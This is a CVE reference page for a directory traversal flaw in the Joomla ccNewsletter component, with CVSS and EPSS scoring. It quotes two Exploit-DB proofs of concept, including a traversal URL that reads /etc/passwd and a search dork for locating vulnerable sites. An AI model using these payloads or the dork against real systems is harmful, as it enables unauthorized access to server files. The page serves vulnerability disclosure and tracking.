English
Français
Light
Dark
System

Alert System

Stay informed at all times
Create an account Open a free account Login Manage your alerts

CVE-2010-0467 : Detail

CVE-2010-0467

5.8
/
MEDIUM
Directory Traversal
A01-Broken Access Control
6.96%V3
Network
2010-02-02 16:00 +00:00
2017-08-16 12:57 +00:00
CVE.org
NVD

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

Directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 5.8 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 11277

Publication date : 2010-01-27 23:00 +00:00
Author : B-HUNT3|2
EDB Verified : Yes

[~]>> ...[BEGIN ADVISORY]... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> TITLE: Joomla (com_ccnewsletter) Directory Traversal Vulnerability [~]>> LANGUAGE: PHP [~]>> DORK: N/A [~]>> RESEARCHER: B-HUNT3|2 [~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com [~]>> TESTED ON: LocalHost [~]>> (( -- Sorry for not including a single advisory with this Component --)) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> DESCRIPTION: Input var controller is vulnerable to Directory Traversal Vuln [~]>> AFFECTED VERSIONS: Confirmed in 1.0.5 but probably other versions also [~]>> RISK: Medium/High [~]>> IMPACT: Access to all PHP files in WebServer (Null Byte is filtered) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> PROOF OF CONCEPT: [~]>> http://server/[JOOMLA_PATH]/index.php?option=com_ccnewsletter&view=ccnewsletter&Itemid=87&controller=[-DT-] [~]>> [-DT-] --> ;) !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]...
Exploit Database EDB-ID : 11282

Publication date : 2010-01-27 23:00 +00:00
Author : AtT4CKxT3rR0r1ST
EDB Verified : Yes

Joomla Component com_ccnewsletter Local File Inclusion ========================================================== ########################################### .:. Author : AtT4CKxT3rR0r1ST .:. Email : F.Hack@w.cn .:. Home : www.sec-attack.com/vb .:. Script : Joomla Component com_ccnewsletter .:. Bug Type : Local File Inclusion [LFI] .:. Dork : inurl:"com_ccnewsletter" .:. Date : 28/1/2010 ############################################# ===[ Exploit ]=== http://server/index.php?option=com_ccnewsletter&controller=[LFI] http://server/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00 ############################################# Greats T0: My Mind & All member Sec Attack

Products Mentioned

Configuraton 0

Chillcreations>>Com_ccnewsletter >> Version 1.0.5

Joomla>>Joomla\! >> Version *

References

http://www.exploit-db.com/exploits/11282
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.exploit-db.com/exploits/11277
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/38378
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/37987
Tags : vdb-entry, x_refsource_BID

More information
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.